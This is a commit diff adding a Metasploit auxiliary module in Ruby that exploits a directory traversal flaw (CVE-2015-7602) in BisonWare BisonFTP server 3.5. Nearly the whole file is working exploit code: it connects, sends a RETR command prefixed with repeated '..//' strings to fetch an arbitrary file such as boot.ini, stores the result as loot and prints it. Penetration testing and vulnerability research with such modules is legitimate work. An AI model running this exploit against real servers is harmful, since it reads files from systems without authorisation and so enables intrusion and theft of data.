Create bison_ftp_traversal.rb

modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb

@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Ftp
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'			 => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure',
+      'Description'	 => %q{
+        This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
+        version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
+        by crafting a RETR command including file system traversal strings such as '..//.'
+      },
+      'Platform'		 => 'win',
+      'Author'		 =>
+        [
+          'Jay Turla <@shipcod3>', # msf and initial discovery
+          'James Fitts',
+          'Brad Wolfe' #brad.wolfe[at]gmail.com
+        ],
+      'License'		 => MSF_LICENSE,
+      'References'	 =>
+        [
+          [ 'EDB', '38341'],
+          [ 'CVE', '2015-7602']
+        ],
+      'DisclosureDate' => 'Sep 28 2015'))
+
+    register_options(
+      [
+        OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
+      ], self.class)
+
+  end
+
+  def check
+    connect
+    disconnect
+    if (banner =~ /BisonWare BisonFTP server product V3.5/)
+      return Exploit::CheckCode::Vulnerable
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def run_host(target_host)
+    begin
+      connect_login
+      sock = data_connect
+
+      file_path = datastore['PATH']
+      file = ::File.basename(file_path)
+
+      # make RETR request and store server response message...
+      retr_cmd = ( "..//" * 32 ) + "#{file_path}"
+      res = send_cmd( ["RETR", retr_cmd])
+
+      # read the file data from the socket that we opened
+      response_data = sock.read(1024)
+
+      if response_data.length == 0
+        print_status("File (#{file_path})from #{peer} is empty...")
+        return
+      end
+
+      # store file data to loot
+      loot_file = store_loot("bisonware.ftp.data", "text",rhost,response_data, file, file_path)
+      print_status("Stored #{file_path} to #{loot_file}")
+
+      # Read and print the data from the loot file.
+      info_disclosure = IO.read(loot_file)
+      print_status("Printing contents of #{file_path}")
+      print_good("Result:\n #{info_disclosure}")
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+    rescue ::Timeout::Error, ::Errno::EPIPE
+    ensure
+      data_disconnect
+      disconnect
+    end
+  end
+end